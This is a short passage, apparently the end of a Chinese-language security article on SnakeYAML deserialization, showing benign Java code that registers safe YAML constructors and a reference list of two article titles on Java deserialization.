this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
this.yamlConstructors.put(null, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
}

0x05 参考

Java反序列化备忘录

yaml.load()反序列化漏洞测试